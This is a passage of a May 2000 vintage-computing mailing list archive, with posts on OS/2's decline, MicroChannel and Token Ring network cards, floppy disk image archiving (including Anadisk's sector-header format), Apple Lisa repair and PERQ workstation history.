PCDOS 2000 In-Reply-To: ; from SUPRDAVE@aol.com on Thu, May 25, 2000 at 06:18:58PM -0400 References: Message-ID: <20000526033024.A1020@dbit.dbit.com> On Thu, May 25, 2000 at 06:18:58PM -0400, SUPRDAVE@aol.com wrote: > there will be an OS2 version update later this year (4.5?) which will offer > usb support amongst other things. Did they do both halves? Last I heard, the OS/2 USB driver supported UHCI chipsets but not OHCI (i.e. the world outside Intel), and it sounded like IBM would be happy to write the OHCI as soon as a single customer showed up who was willing to finance all of the development. I hope they thought better of that. John Wilson D Bit From geoffrob at stmarks.pp.catholic.edu.au Fri May 26 03:06:40 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:52:03 2005 Subject: MCA Ethernet Cards References: Message-ID: <001501bfc6e9$5377c120$5c7d38cb@helpdesk> ----- Original Message ----- From: "Mike Ford" To: Sent: Friday, May 26, 2000 3:48 PM Subject: Re: MCA Ethernet Cards > Make REAL sure they aren't nasty old or even nasty new Token Ring cards. > Many cards that looked very promising to me, turned out to have the weird > RJ45 version of token ring, and weren't ethernet cards at all. I am real > suspicious of any IBM chip on such a card now. I have a stack of ISA cards that have the RJ45 connector and the more 'normal' token ring connector. Question. I don't have a concentrator/hub or whatever the token ring equivalent is, so is it possible to wire a cable from the RJ45 ala ethernet 'crossover' to connect two machines? Or must there be a concentrator/hub? Cheers Geoff Roberts From ard at p850ug1.demon.co.uk Fri May 26 10:11:17 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:03 2005 Subject: Get up on the wrong side of the bed this morning? In-Reply-To: <016c01bfc692$fab2a600$0200a8c0@marvin> from "Mark Gregory" at May 25, 0 03:48: Message-ID: Enough is enough already guys . . . . . I haven't seen this kind of behaviour since I was a kid. Gary Hildebrand From Hans.Franke at mch20.sbs.de Fri May 26 06:34:47 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:03 2005 Subject: VCFe Pictures In-Reply-To: References: Message-ID: <200005260935.e4Q9Zuh08606@mail2.siemens.de> Well, still not finished the documentation pictures, but at least I've build up a first page with pictures: http://www.homecomputer.de/VCFe/D/NachleseAusstellung.html The page is at the moment not integrated within the VCFe pages - no links, you have to key it in. It's a short collection with one (frontal) picture of each displayed unit. Sorry, the descriptions are at the moment only availabel in German - I hope to change this soon. Also more pages with detailed pictures and some 'additional' pics will apears at some time. At the moment these pics are taken from Hans Huebner. You may also have a look at the raw material at: http://vaxbusters.org/pix/vcfe I'd cheerful apreciate any other pictures to add them. Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From pechter at pechter.dyndns.org Fri May 26 05:21:24 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:03 2005 Subject: MCA Ethernet Cards In-Reply-To: <001501bfc6e9$5377c120$5c7d38cb@helpdesk> from Geoff Roberts at "May 26, 2000 05:36:40 pm" Message-ID: <200005261021.GAA08834@bg-tc-ppp925.monmouth.com> > > ----- Original Message ----- > From: "Mike Ford" > To: > Sent: Friday, May 26, 2000 3:48 PM > Subject: Re: MCA Ethernet Cards > > > > Make REAL sure they aren't nasty old or even nasty new Token Ring cards. > > Many cards that looked very promising to me, turned out to have the weird > > RJ45 version of token ring, and weren't ethernet cards at all. I am real > > suspicious of any IBM chip on such a card now. > > I have a stack of ISA cards that have the RJ45 connector and the more > 'normal' token ring connector. > Question. I don't have a concentrator/hub or whatever the token ring > equivalent is, so is it possible to wire a cable from the RJ45 ala ethernet > 'crossover' to connect two machines? Or must there be a concentrator/hub? > > Cheers > > Geoff Roberts > Unfortunately, there must be a hub. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Fri May 26 05:40:07 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:03 2005 Subject: DEC Memory boards In-Reply-To: from Tony Duell at "May 25, 2000 11:26:23 pm" Message-ID: <200005261040.GAA36046@bg-tc-ppp925.monmouth.com> > > > > > > Is anyone interested in trading a pair of what appear to be two 256K > > Unibus memory boards, made by National Semiconductor Memory Systems > > (these boards have four rows of thirty-two 4164-15 ICs on them), for > > two of the following: > > What am I missing here ? > > 4 rows of 32 64Kbit RAM chips is 4 rows, each of 4*64K bytes. Or a total > of 16 * 64K bytes, or 1 Mbyte. > > These boards are larger than you thought, I think (!). > > Are you sure they're Unibus? The reason I ask is that I've seen similar > boards (hex height, NatSemi) made for VAX11/730 (and I would guess > 11/750) systems. They may look like Unibus boards, but the pinouts of the > A and B edge connectors is totally different! > > -tony These could be 11/44 memory bus memory or MS750/MK11 memory compatible boards. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Fri May 26 05:43:37 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:03 2005 Subject: OS/2 In-Reply-To: from "SUPRDAVE@aol.com" at "May 25, 2000 06:18:58 pm" Message-ID: <200005261043.GAA39147@bg-tc-ppp925.monmouth.com> > In a message dated 5/25/00 5:03:40 PM Eastern Daylight Time, > wilson@dbit.dbit.com writes: > > > On Thu, May 25, 2000 at 03:56:22PM -0400, Bill Pechter wrote: > > > And DEC unloads the PDP11 to Mentec and OS/2 gets killed. > > > > Last I heard OS/2 was still very much alive, although IBM's attitude > > towards it is surly to say the least. But unlike some companies I could > > mention, IBM knows better than to refuse to accept money from their > > customers Well, they refused to come up with a new OS/2 client and they've basically consolidated into one new fairly EXPENSIVE packaged release with the fixpacks in and new TCP/IP software which will be available before the end of the year. Following that SUPPORT ENDS. Period. > > just because the customers want to buy something other than whatever new > > toy the IBM management is excited about this week. So it will probably > > keep getting *some* support as long as the customers are willing to pay > > for it. > > > > John Wilson > > D Bit > > there will be an OS2 version update later this year (4.5?) which will offer > usb support amongst other things. recently fixpak 13 was announced. of > course, downloading it all and installing it is a major task in itself. Yup... and that's the end of it for OS/2 as far as IBM's concerned. They're pushing migration to either Linux, AIX (RS6000) or a Microsoft Platform. > > DB Young ICQ: 29427634 > > hurry, hurry, step right up! see the computers you used as a kid! > http://members.aol.com/suprdave/classiccmp/museum.htm Bill (a big OS/2 v3/4 fan who pushed for the OS/2 V5 Client which was killed) -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From Hans.Franke at mch20.sbs.de Fri May 26 08:06:08 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:03 2005 Subject: Digital Millennium Copyright Act - what does it mean for us? In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E90FC@MAIL10> Message-ID: <200005261107.e4QB7Hh24326@mail2.siemens.de> > > On Thu, 11 May 2000, Cini, Richard wrote: > > > How do we protect ourselves? My plan, frankly, is to continue with > > > my efforts until someone tells me to stop. > > I say tally ho old chap. That's probably the best course of action. Just > > post the material to at least make it useful until which time you are > > explicitly told by the copyright holder to remove it. The worst they can > > do is ask you to remove it (cease and desist). > Might as well keep this stuff alive as long as there is a need for it and > as long as the original copyright holder has no plans for it. As long as > the original copyright holder is no longer marketing it and it's not being > sold for a profit then I don't see an ethical dilemma. > No ethical dilema here! I don't feel bad about posting this stuff at > all because (1) the equipment isn't being sold any more, (2) the docs have > been left to rot by the original owner and (3) the docs are too valuable to > the vintage computing community to not make them available. Well, there's another, now way in depth article on /. about Abandonware, which is way close to our theme: http://www.slashdor.org/article.pl?sid=00/05/16/1512238&mode=thread Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From rigdonj at intellistar.net Fri May 26 07:58:36 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:03 2005 Subject: bad URL -- RE: Digital Millennium Copyright Act - what does it mean for us? In-Reply-To: <200005261107.e4QB7Hh24326@mail2.siemens.de> References: <497A9E0467D2D2119B760090271EB8E50E90FC@MAIL10> Message-ID: <3.0.1.16.20000526075836.3bffa358@mailhost.intellistar.net> At 01:07 PM 5/26/00 +1, Guass wrote: >> > On Thu, 11 May 2000, Cini, Richard wrote: >> > > How do we protect ourselves? My plan, frankly, is to continue with >> > > my efforts until someone tells me to stop. > >> > I say tally ho old chap. That's probably the best course of action. Just >> > post the material to at least make it useful until which time you are >> > explicitly told by the copyright holder to remove it. The worst they can >> > do is ask you to remove it (cease and desist). > >> Might as well keep this stuff alive as long as there is a need for it and >> as long as the original copyright holder has no plans for it. As long as >> the original copyright holder is no longer marketing it and it's not being >> sold for a profit then I don't see an ethical dilemma. > >> No ethical dilema here! I don't feel bad about posting this stuff at >> all because (1) the equipment isn't being sold any more, (2) the docs have >> been left to rot by the original owner and (3) the docs are too valuable to >> the vintage computing community to not make them available. > >Well, there's another, now way in depth article on /. >about Abandonware, which is way close to our theme: > >http://www.slashdor.org/article.pl?sid=00/05/16/1512238&mode=thread There's a typo in the URL. Try this one; "http://www.slashdot.org/article.pl?sid=00/05/16/1512238&mode=thread" Joe From SUPRDAVE at aol.com Fri May 26 07:07:36 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:52:03 2005 Subject: MCA Ethernet Cards Message-ID: <29.59ec5e3.265fc308@aol.com> In a message dated 5/26/00 1:31:51 AM Eastern Daylight Time, dlinder@uiuc.edu writes: > I have recently stumbled on large stash of MicroChannel Ethernet Cards. > I'm thinking of taking the whole bunch (brother & I have a large ps/2 > colelction), but would have leftovers for all to partake in. I heard > these are generally hard to find, so let me know if you're interested. > > Ah yes, if I remember, they're various makes & models. keep a lookout for cabletron and 3com 3c509 models. you will have the least compatibility problems with those two NICs and they even work in os/2 most MCA T/R NICs will have a 16/4 sticker on them which is a dead giveaway for token ring. DB Young -> MCA and OS/2 user and enthusiast hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From Hans.Franke at mch20.sbs.de Fri May 26 09:36:09 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:03 2005 Subject: bad URL -- RE: Digital Millennium Copyright Act - what does it mean for us? In-Reply-To: <3.0.1.16.20000526075836.3bffa358@mailhost.intellistar.net> References: <200005261107.e4QB7Hh24326@mail2.siemens.de> Message-ID: <200005261237.e4QCbJh10728@mail2.siemens.de> > At 01:07 PM 5/26/00 +1, Guass wrote: > >Well, there's another, now way in depth article on /. > >about Abandonware, which is way close to our theme: > >http://www.slashdor.org/article.pl?sid=00/05/16/1512238&mode=thread > There's a typo in the URL. Try this one; > "http://www.slashdot.org/article.pl?sid=00/05/16/1512238&mode=thread" Oops - sorry, at the moment I'm the proud owner of a no longer connected WinNT 3.51 PC and a still not connected Win2000 PC, since non of our domain admins iss allowed to give me the necersary passwords to add the new PC, nor has the time to come by and type it in... So I have my mailer still running on the old PC and the browser on my new ... read, all typed by hand :( I hate networks without all necersary admin rights ... Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From allisonp at world.std.com Fri May 26 07:53:55 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:03 2005 Subject: Paper tape format In-Reply-To: <3.0.3.32.20000525211757.009c8320@agora.rdrop.com> Message-ID: > >The reason why I'm asking is because I'm toying with adding a virtual paper > >tape punch/reader to Claus Guiloi's IMSAI emulator. > > Well... for my $0.225 worth (inflation you know)... > > I doubt that there is a real answer for that one, unless you select a > particular operating 'model' for focus on. > > By that I mean, that since neither the Altair or IMSAI had a resident > monitor program or 'native' operating system at first, there were no hard > and fast rules as to what/how you would load code... Well, since they had no rom that is correct however... Both had pre-CP/M "monitors" Mits programming system for example. That loaded as something like intel hex and the editor/assmbler was ascii/intel hex/bin IO as desired. My experience is (I used tty for years and also had a remex HS reader/punch) Intel hex was the standard for portable binaries in the 8080/z80 world. Non portable binaries were always tied to a specific vendor loader but hex was most common. I'd say in the early years P-tape was in the 75-79 timeframe the most portable format compared to floppies or worse yet cassette tape. I still have a punch of intel hex of the cpm image from my first platform I'd put CPM on after ALTAIR/NS*MDS-A hybrid. Allison From allisonp at world.std.com Fri May 26 08:01:31 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:03 2005 Subject: MCA Ethernet Cards In-Reply-To: <29.59ec5e3.265fc308@aol.com> Message-ID: > > I have recently stumbled on large stash of MicroChannel Ethernet Cards. > > I'm thinking of taking the whole bunch (brother & I have a large ps/2 > > colelction), but would have leftovers for all to partake in. I heard > > these are generally hard to find, so let me know if you're interested. > > > > Ah yes, if I remember, they're various makes & models. > > keep a lookout for cabletron and 3com 3c509 models. you will have the least > compatibility problems with those two NICs and they even work in os/2 most > MCA T/R NICs will have a 16/4 sticker on them which is a dead giveaway for > token ring. Another is the SMC8013 series NICs, seems to work for me. Allison From steverob at hotoffice.com Fri May 26 08:20:25 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:52:03 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: N otes on repa... Message-ID: <2921A6D846E9D31182490050040DC0D6682C39@hoexc101.hotoffice.com> > Anyone who reads this list on even a semi-regular basis knows > that Mr. Rigdon > is well aware of what a short is. Why the put-down? Do you > think that you > are conducting a high-school electric shop class and talking > to a bunch of > eighth-graders? > Personally, I have never received anything from Joe Rigdon > except help when I needed it, which is more than I can say of you. I too have received considerable help from Joe and consider him to be *extremely* competent. Changing the PS in a Lisa is not exactly "Rocket Science" although he *does* have experience in that arena as well ;-) Steve Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/04e94869/attachment.html From jfoust at threedee.com Fri May 26 08:20:28 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:03 2005 Subject: Bootable Floppy from CD? In-Reply-To: <20000525235755.7362.qmail@brouhaha.com> References: <4.3.0.20000525095559.022d1600@pc> <4.3.0.20000525095559.022d1600@pc> Message-ID: <4.3.0.20000526080605.00acf8c0@pc> At 11:57 PM 5/25/00 +0000, Eric Smith wrote: >John Foust wrote: > > The 'dd' approach has a few failings. One, it's not tolerant of > > bad sectors, right? > >No, but then not much PC software is. I normally only worry about >making disk images of good disks; I don't have any use for preserving >bad ones. Assuming that it made sense to save an image of a partially >bad diskette, how would you represent bad sectors? As my web page mentions, Sydex's Anadisk defined a file format that wrapped the sectors, allowing you to mark one as bad. I wish there was a popular and universal way of archiving floppy disk images this way. Our hobby really needs it. The emulation scene must've solved parts of this problem already. If you have a disk with bad sectors and you try the 'dd' approach, it just fails. Where's the fallback? I realize I'm picking nits here. I'm sure 'dd' or rawread/rawrite would serve Chuck's purposes for now, putting a significant dent in his pile of floppies, leaving perhaps only one or two with unarchivable read errors. I have a bunch of 8 inch disks from my Terak, RT-11, CP/M, etc. machines with bad sectors. When I tried to archive my C-64 disks I found plenty with bad areas. I gave up. This might be a good time for one of the disk experts to tell us about common failure modes for various disk drive and media technology. >For dos diskettes, it's just about as easy as tar or zip when either >using mtools, or mounting the image file using the loopback device. Yes, but a search through all your disk images would be a lot of mounting and un-mounting. You'd need to write scripts or tools in either case to aid a search. >As I mentioned, Linux *has* /dev/fd0xx variations for all of the common >PC disk formats. Chuck said "unix" not 'Linux'. :-) - John From steverob at hotoffice.com Fri May 26 08:26:51 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:52:03 2005 Subject: Notes on repairing the Apple Lisa power supply Message-ID: <2921A6D846E9D31182490050040DC0D6682C3E@hoexc101.hotoffice.com> > FWIW I usually use an old disk drive. It's very handy since many > computers already have a power connector that will plug > directly onto the > drive and it provides a load to both the +12 and +5 volt > power supplies. > Joe, Aren't you afraid of damaging the disk drive by doing that? Just kidding... ;-) Steve Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/9959a0e9/attachment.html From jfoust at threedee.com Fri May 26 08:27:15 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:03 2005 Subject: Get up on the wrong side of the bed this morning? In-Reply-To: References: <3.0.1.16.20000525182150.0e17d49a@mailhost.intellistar.net> Message-ID: <4.3.0.20000526082635.0213c3c0@pc> At 11:36 PM 5/25/00 -0400, R. D. Davis wrote: >and, then you learn that >he's fried all of the chips in both machines and decides to weld 'em >both together, glue a cushon to the top of one of them, and sell it on >e-bay as a high-tech ottoman? And then he sold it on eBay with a description that said that "it might be a Cray." - John From jfoust at threedee.com Fri May 26 08:25:31 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:03 2005 Subject: Get up on the wrong side of the bed this morning? In-Reply-To: References: <016c01bfc692$fab2a600$0200a8c0@marvin> Message-ID: <4.3.0.20000526082119.01fcb6b0@pc> At 01:49 AM 5/26/00 +0100, Tony Duell wrote: >I think I've seen only a couple of Lisas in my lifetime -- >contrast that to about 20 PERQs, 3 or 4 D-machines, and probably over 100 >PDP11s. Your beloved PERQ seems like a tremendous rarity to me. I've only seen one, in the 70's exhibit at SIGGRAPH 98, where I exhibited one of my Teraks. I do not recall anyone ever saying "Oh, there's a PERQ down on the loading dock in Trenton, NJ that's going to the Dumpster if no one grabs it by Friday." - John From jfoust at threedee.com Fri May 26 08:30:25 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:03 2005 Subject: VCFe Pictures In-Reply-To: <200005260935.e4Q9Zuh08606@mail2.siemens.de> References: Message-ID: <4.3.0.20000526082950.02c3f340@pc> At 11:35 AM 5/26/00 +0001, Hans Franke wrote: >It's a short collection with one (frontal) picture of each >displayed unit. Sorry, the descriptions are at the moment >only availabel in German - I hope to change this soon. http://babelfish.altavista.digital.com/ translated it reasonably well... - John From Hans.Franke at mch20.sbs.de Fri May 26 11:14:25 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:03 2005 Subject: VCFe Pictures In-Reply-To: <4.3.0.20000526082950.02c3f340@pc> References: <200005260935.e4Q9Zuh08606@mail2.siemens.de> Message-ID: <200005261415.e4QEFYh26662@mail2.siemens.de> > At 11:35 AM 5/26/00 +0001, Hans Franke wrote: > >It's a short collection with one (frontal) picture of each > >displayed unit. Sorry, the descriptions are at the moment > >only availabel in German - I hope to change this soon. > http://babelfish.altavista.digital.com/ translated it reasonably well... No offense intended, but I prefer to issue my own tortured version of English. Servus H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From foo at siconic.com Fri May 26 09:17:53 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:04 2005 Subject: Bootable Floppy from CD? In-Reply-To: <4.3.0.20000526080605.00acf8c0@pc> Message-ID: On Fri, 26 May 2000, John Foust wrote: > As my web page mentions, Sydex's Anadisk defined a file format that > wrapped the sectors, allowing you to mark one as bad. I wish there > was a popular and universal way of archiving floppy disk images > this way. Our hobby really needs it. The emulation scene must've > solved parts of this problem already. Why doesn't the collective CC define this standard then? Who better to define standards for archiving old computer software than a group of people devoted to it? Unless someone finds an already well-documented standard (in which case we should review it, make any modifications necessary to fix it, and then adopt that as THE standard) then we should create a standards body to address these things. If we take it one step further we can then start defining standards for other types of things having to do with vintage computers. A storage medium archiving standard is definitely a good one to start with. I am serious about this. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From jfoust at threedee.com Fri May 26 11:39:44 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:04 2005 Subject: Bootable Floppy from CD? In-Reply-To: References: <4.3.0.20000526080605.00acf8c0@pc> Message-ID: <4.3.0.20000526112918.020b9c20@pc> At 07:17 AM 5/26/00 -0700, Vintage Computer GAWD! wrote: >On Fri, 26 May 2000, John Foust wrote: > > As my web page mentions, Sydex's Anadisk defined a file format that > > wrapped the sectors, allowing you to mark one as bad. I wish there > >Why doesn't the collective CC define this standard then? Who better to >define standards for archiving old computer software than a group of >people devoted to it? I'm sure there are several candidates out there. http://www.sydex.com/other.html once had info about Anadisk but now it's gone. My hard drive had: 10/22/97 02:14p 122,783 Anadisk-2_07.zip 09/03/92 12:50p 78,502 ANADISK.DOC 09/03/92 12:50p 163,747 ANADISK.EXE Below is the section from the manual that describes their file format. - John The Dump operation writes a specified area of a diskette to a DOS file. After selecting the Dump option from the Main Menu, the diskette drive containing the diskette to be read, the range of cylinders and sides to be written to a specified DOS file are selected. Each sector written to the file is optionally preceded by an 8-byte header record of the following form: +------+------+------+------+------+------+----------+ | ACYL | ASID | LCYL | LSID | LSEC | LLEN | COUNT | +------+------+------+------+------+------+----------+ ACYL Actual cylinder, 1 byte ASID Actual side, 1 byte LCYL Logical cylinder; cylinder as read, 1 byte LSID Logical side; or side as read, 1 byte LSEC Sector number as read, 1 byte LLEN Length code as read, 1 byte COUNT Byte count of data to follow, 2 bytes. If zero, no data is contained in this sector. All sectors occurring on a side will be grouped together; however, they will appear in the same order as they occurred on the diskette. Therefore, if an 8 sector-per-track diskette were scanned which had a physical interleave of 2:1, the sectors might appear in the order 1,5,2,6,3,7,4,8 in the DOS dump file. After the last specified cylinder has been written to the DOS file, AnaDisk returns to the Main Menu. From mgregory at vantageresearch.com Fri May 26 11:49:08 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:52:04 2005 Subject: Documenting how old computers were used Message-ID: <004e01bfc732$4fad1a60$0200a8c0@marvin> When people receive complete systems (with software, manuals, etc.) do you make any attempt to document the state of the system when you received it? For example, do you record what programs were on the hard drive, what peripherals were included, what the system was used for (either what you were told, or could infer), etc? It seems to me that increasingly, social historians and museums are more interested in _how_ an artifact was used than in the thing itself. But often , especially when I receive multiple examples of the same system, I mix and match parts and programs to suit myself, and lose track of which disk drive came with which CPU, which software was originally installed on each, etc. Information is obviously being lost here. I'd be interested to know what other list members are doing, and how important you think the information being lost is. Regards, Mark Gregory From rdd at smart.net Fri May 26 11:54:43 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:52:04 2005 Subject: PERQs (was: Get up on the...) In-Reply-To: <4.3.0.20000526082119.01fcb6b0@pc> Message-ID: On Fri, 26 May 2000, John Foust wrote (to Tony Duell): > Your beloved PERQ seems like a tremendous rarity to me. I've only > seen one, in the 70's exhibit at SIGGRAPH 98, where I exhibited > one of my Teraks. I do not recall anyone ever saying "Oh, there's > a PERQ down on the loading dock in Trenton, NJ that's going to > the Dumpster if no one grabs it by Friday." Oddly, that's sort of what hapened to me. About 10 years ago when looking for a UNIX box, I saw this largish machine with a 19" monitor at a hamfest, but it had already been sold. However... I was given the telephone number of a used computer warehouse where I could find another PERQ. After driving there to purchase it, I was told that I'd have to take away a second T2 chasis at no cost (that was going to be scrapped) in order to be able to buy the other one. To make a long story short, the above experience ended up with me doing a lot of detective work to find out what a PERQ was; couldn't find anyone who'd even heard of one (and that was 10 years ago!) for a while, and eventually got through to Accent Systems in Pittsburgh, the company that had been set up to support the PERQs after their demise, then drove up to Pittsburgh to see what information I could obtain, as well as getting a mouse (Kriz tablet)... ended up learning lots of things not covered in the documentation, like how to format a disk and install the POS and Accent operating systems, how to add a second disk, etc... wow, I'm glad I took a notebook and pen with me! Also obtained some maintenance floppies, etc. that allowed one to format and install a hard disk, that were never part of the OS distributions, which would probably have vanished into oblivion. Learned lots of interesting PERQ history and trivia as well. Fortunately, around that time, I'd learned of a couple of others who had PERQs, and was able to notify them of this discovery (Accent Systems) so they could also get bits for their PERQs; fortunately, one of these people lived in Pittsburgh (if he's reading this, perhaps he'll join in the conversation) and was able to rescue a lot more PERQ stuff from Accent Systems than I could haul back here before it went away, thus preserving much PERQ history; he also did a lot of research into the PERQs and their history and is very knowlegeable about them. Unfortunately, a _huge_ amount of the really good stuff went from Accent to some company in Japan called Rikei (sp?) before we could get any of it; never did find out what they wanted all those PERQs and spare PERQ bits for; does anyone know? All in all, the huge volumes of PERQ-related e-mail, the PERQ mailing list and newsgroup, getting to visit Accent Systems and MegaScan (the MegaScan monitor was a spinoff of PERQ Systems), talking with some some of the PERQs creators, etc. was all great fun! ...not to mention the interesting exercise of printing out the entire source code for the POS operating system. Back in the early 1990's, many people shared quite a bit of their PERQ related knowledge and memories, which made for fascinating reading! Then, there was the PERQ mailing list that someone (a co-conspirator that I won't reveal the identity of - I don't think he was ever on this list) set up, where we automagically subscribed everyone we had the e-mail address of who was known to have knowledge of PERQs. That resulted in the very interesting PERQ-Fanatics vs. CMU PERQ-haters debate. :-) I know, we shouldn't have automagically subscribed all those people to the list, but without doing so, some interesting bits of history may have vanished into oblivion. Had it not been for some hackers in the U.K., one very highly skilled hardware hacker in particular - who may be reading this list and will probably comment on this message :-), much of the information needed for properly repairing and preserving PERQs would not be available - much of it available to us only because of his efforts and hardware knowledge, and had he and others not rescued some PERQ equipment that I couldn't find a way to get shipped over here without spending a fortune, more PERQ history would be lost. Trivia question: does anyone know anything about a software program called "Strawberry Fairchild and the Green Flame" that runs on any other system? It's a work of surrealistic computer art that was written for the PERQs by Dislocated Lady Software. -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From Hans.Franke at mch20.sbs.de Fri May 26 14:13:16 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:04 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: References: <016c01bfc692$fab2a600$0200a8c0@marvin> Message-ID: <200005261714.e4QHEP125187@mail2.siemens.de> > > Lisas out there. Even with blown components, he could still have sold them > > for hundreds "as-is" on eBay, where they would provide parts to revive > Yes, right... fry that system and then sell it on e-bay, that's ok, > because it will still bring a high price, so who cares whether it > works, right? Turn the monitors into fishbowls, remove core memory > and sell it in a picture frame, because, who cares if these are used > again since they can bring big bucks on e-bay. Well, is this now the right time to tell that I'm still searching for a VT220 in _very_ good shape to turn it into a fish tank ? Am I now one of the bad guys ? Or just nostalgic about a trade show I visited around 1979, where had a first look at this incredible 3D Terminal ... SCNR Hans Does someone remember the VAXbar ? -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From jrkeys at concentric.net Fri May 26 12:15:42 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:52:04 2005 Subject: Documenting how old computers were used References: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: <000e01bfc736$06bd64a0$fb721fd1@default> I try and keep all parts together as I got them and I document each piece with serial numbers, part numbers, dates printed on the labels, and any other information that I can get off the units themselves. I also write any important information given to me by the person I get the item from. Sometime I learn important historical information from the person if they are the original owner. When I get the museum going I would like everything to be in factory shipped order. and working if possible. I use a zip drive to store all this information on so that I do fill up my main system's hard drive. John Keys ----- Original Message ----- From: Mark Gregory To: Sent: Friday, May 26, 2000 11:49 AM Subject: Documenting how old computers were used > When people receive complete systems (with software, manuals, etc.) do you > make any attempt to document the state of the system when you received it? > For example, do you record what programs were on the hard drive, what > peripherals were included, what the system was used for (either what you > were told, or could infer), etc? > > It seems to me that increasingly, social historians and museums are more > interested in _how_ an artifact was used than in the thing itself. But > often , especially when I receive multiple examples of the same system, I > mix and match parts and programs to suit myself, and lose track of which > disk drive came with which CPU, which software was originally installed on > each, etc. Information is obviously being lost here. > > I'd be interested to know what other list members are doing, and how > important you think the information being lost is. > > Regards, > Mark Gregory > > From Technoid at cheta.net Fri May 26 12:29:32 2000 From: Technoid at cheta.net (Technoid Mutant) Date: Sun Feb 27 18:52:04 2005 Subject: OS/2 References: <200005261043.GAA39147@bg-tc-ppp925.monmouth.com> Message-ID: <392EB47C.5D0790AF@cheta.net> I really can't blame IBM for being 'surly' about OS/2. They had and still have the best desktop operating system ever written for any computer and the market shunned and reviled it without even first having a look. Microsoft was really scared in 94/95'. They lied about availability and features of thier own products and Threated thier customers with financial ruin if they even spoke about OS/2. If you laid the golden egg and everyone continually crapped on you for it, you would be surly too. The market is so steeped in MS-generated ignorance and bigotry against OS/2 that most people in this group have little or no experience with it. In 1993 I recognized OS/2 for what it is and have run it ever since. IBM had the hydrogen bomb when MS and others were still setting off firecrackers. Still today, without the release of a new OS/2 client in four years, the operating system stomps any competition. There are a few warts on it now due to a lack of development but those are generally shared by Linux and the others. I can't speak for BeOS yet. OS/2's warts primarily are in the multimedia area. There are very few native clients for the newer MM formats such as Real Audio, ASF, etcetera. Some can be used by taking advantage of OS/2's ability to seamlessly integrate Win3x clients but it isn't enough. Now, after nine years of FUD, lies, and the ignorance that fostered, some client's now have a legitimate reason to run Windows. Yes, I'm pissed about it. I may be forced to run something incomplete and messy (Linux) or something half-assed (Windows) but I don't have to like it. Every time I show a warp system to a customer or friend they allways say something kin to 'how the hell did this stay a secret?!' and 'why is anyone running windows'!!. regards Bill Pechter wrote: > > In a message dated 5/25/00 5:03:40 PM Eastern Daylight Time, > > wilson@dbit.dbit.com writes: > > > > > On Thu, May 25, 2000 at 03:56:22PM -0400, Bill Pechter wrote: > > > > And DEC unloads the PDP11 to Mentec and OS/2 gets killed. > > > > > > Last I heard OS/2 was still very much alive, although IBM's attitude > > > towards it is surly to say the least. But unlike some companies I could > > > mention, IBM knows better than to refuse to accept money from their > > > customers > > Well, they refused to come up with a new OS/2 client and they've > basically consolidated into one new fairly EXPENSIVE 